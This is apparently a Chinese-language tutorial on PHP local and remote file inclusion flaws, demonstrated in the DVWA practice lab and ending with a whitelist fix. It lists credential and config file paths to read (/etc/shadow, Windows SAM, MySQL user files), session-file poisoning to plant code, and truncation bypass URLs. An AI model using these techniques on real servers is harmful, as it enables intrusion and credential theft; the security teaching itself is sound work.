在php语言中存在着下面几个函数存在文件包含的的功能,这些函数的本意是方便开发者及用户实现某些功能,但是如果不对文件包含的内容进行严格的的限定,会被攻击者恶意利用。这就是php的文件包含漏洞。下面有四个函数可以实现文件包含分别是:
1.include();用此函数包含的时候,如果出现错误,会提出警告,跳过此步骤继续执行剩下的代码。
2.require();此函数文件包含出现错误的时候,终止程序的运行,与include()区别就是这里。
3.include_once()与1的唯一区别是文件只被包含一次,避免文件被重复的包含。
4.require_once()与2同理,只是限定了文件被包含的次数。
既然了解有关函数的相关知识,我们下面开始进行漏洞的利用。
<?php
$filename = $_GET['file'];
include($file);
?>
这是最简单的示例代码,其中我们能对file参数进行控制如果过滤不严格的话就很容易被恶意利用。一般利用分为以下几类,本地的文件包含漏洞。我们通过DVWA的环建进行简单的演示。
本地文件包含漏洞
进入DVWA的文件包含漏洞的测试页面,存在三个文件。
下面我们分别点击三个页面,发现URL后面的page参数发生改变。
说面存在一个很典型的文件包含漏洞,所以我们对我们可以修改的参数名进行测试。我们可以用这个参数去执行php代码,也可以查看本地文件。下面是两个测试案例。
这个执行了本地的phpinfo的文件将一些个人信息显示出来,查看了本地的文件。
如果你的电脑同时有文件上传,与文件包含漏洞,攻击者很容易通过这两个漏洞植入webshell并控制你的电脑。下面是一些常见的敏感文件及路径:
Windows系统
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
Linux/Unix系统
/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
但是当系统不存在文件上传漏洞的时候是不是不是就无法攻破电脑的防御了吗?答案显然不是的,如果我们知道session日志文件的的目录。我们便可以把恶意代码写入其中去攻破电脑。下面就是本地文件包含的另一个利用方式。
session文件漏洞的利用
session的工作原理: (1)当一个session第一次被启用时,一个独一的标识被存储于本地的cookie中。
(2)首先使用session_start()函数,PHP从session仓库中加载已经存储的session变量。
(3)当执行PHP脚本时,通过使用session_register()函数注册session变量。
(4)当PHP脚本执行结束时,未被销毁的session变量会被自动保存在本地一定路径下的session库中,这个路径可以通过php.ini文件中的session.save_path指定,下次浏览网页时可以加载使用。
所以我们通过执行php程序将代码写入session文件中,恶意代码被保存在其中,我们借此执行恶意代码进行攻破。下面进行代码的编写,试验。
代码的实现是这个样子的:
<?php
session_start();
$payload=$_GET['payload'];
$_SESSION["username"]=$payload;
?>
下面我们进行地址的查找,我们在phpinfo页面中可以看到我们session的存储路径。
如果并不能得到phpinfo的信息我们可以根据系统下常见的session文件存储的位置进行试验
Linux: /tmp 或 /var/lib/php/session
Windows: C:\WINDOWS\Temp
所以我们尝试把变量写入session中。我们访问
http://192.168.159.1/DVWA-master/session.php?payload=123
打开我的session的存储路径进行验证
Linux: /tmp 或 /var/lib/php/session
Windows: C:\WINDOWS\Temp
我们发现存在这样一个文件,证明我们的传入成功,但是我们在真实的渗透测试的时候并不能像这样直接打开文件存储路径进行查看,下面我们可以利用另一种方法。查看我们的cookie信息。
我们可以在cookie这一栏找到PHPSESSID=6f27uuavg3a4lea7g7eq79q705而session的文件命名规则是sess_+PHPSESSID所以找到储存路径,知道文件的id便可以获取服务器的权限。
在真实渗透测试的时候,因为一个服务器的session的文件数量太过于庞大,直接打开电脑会造成死机,可以在凌晨进行测试,因为凌晨一般服务器都生成一个新的session文件,此时文件的大小较小可以正常的读取。
关于有限制的文件包含漏洞的绕过
漏洞的源代码
<?php
$filename = $_GET['filename'];
include($filename . ".html");
?>
我们发现,我们选择的文件后面会自动补足一个.html的标签,这样便会对我们的文件的格式造成损坏,所以我们进行绕过。
1.%00截断
因为php语言是基于C语言编写的的语言,所以其中%00也可以在php中适用。示例代码如下:
http://192.168.148.1/DVWA-master/vulnerabilities/fi/?page=file1.php%00
2.路径长度截断
实现原理:
Windows下目录最大长度为256字节,超出的部分会被丢弃;
Linux下目录最大长度为4096字节,超出的部分会被丢弃。
实现方法:
使用方法windows OS,点号需要长于256;
linux OS 长于4096;
示例代码:
http://192.168.148.1/DVWA-master/vulnerabilities/fi/?page=file1.php./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
3.号截断
实现原理与方法与上面的类似只不过是把./换成.而已具体的代码我就不放了。
下面进入第二大块远程文件包含漏洞
远程文件包含
当服务器开放allow_url_fopen(是否允许打开远程文件)和allow_url_include
(是否允许require,include包含文件)同时对代码过滤的不够严密,就会造成这个漏洞的产生。
下面是代码的示例。
<?php
$filename = $_GET['file'];
include($file);
?>
1.无限制的远程文件包含
我们还是使用DVWA的环境进行测试,我们进入其中的文件包含漏洞的模块进行测验。
我们在本的文件创建一个1.php的文件,我们进行测验因为在本地的服务器代理下,我们直接输入本地的服务器代理地址执行文件。
我们发现执行成功但是我们接着往下看
却是在在自己的服务器上执行,这与我们的期望不同。我们则怎么样才能让他在别人的服务器上执行,我们仅需要把文件格式改成txt文件进行执行即可。下面我们再进行测试
发现成功,所以我们知道要想在别人的服务器上执行文件,我们就要将代码变成txt文件的格式让服务器进行解析从而达到在别人服务器上执行的目的。
2.有限制的远程文件包含
<?php include($_GET['filename'] . ".html"); ?>
与本地文件包含的漏洞限制一样,加了后缀,所以我们同样可以通过截断进行绕过,就是通过?截断进行绕过.
http://192.168.148.1/DVWA-master/vulnerabweixieyiilities/fi/?page=http://127.0.0.1/1.txt?
将?后的进行忽略及进行绕过。与此原理相同的还有#绕过与空格绕过,其代码与这个类似我便不再进行举例。
还有一种方法是使用php伪协议的方法进行绕过但我对于协议的理解还不够所以我以后单独开一篇讲讲php中常见的伪协议即利用方式。
漏洞的修复
我们一般采用白名单的方法进行漏洞的修复例如DVWA环境中impossible的等级下的源代码是这样的
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
只能进行指定文件的查找,这样就有效避免了攻击者丢与这个漏洞的利用。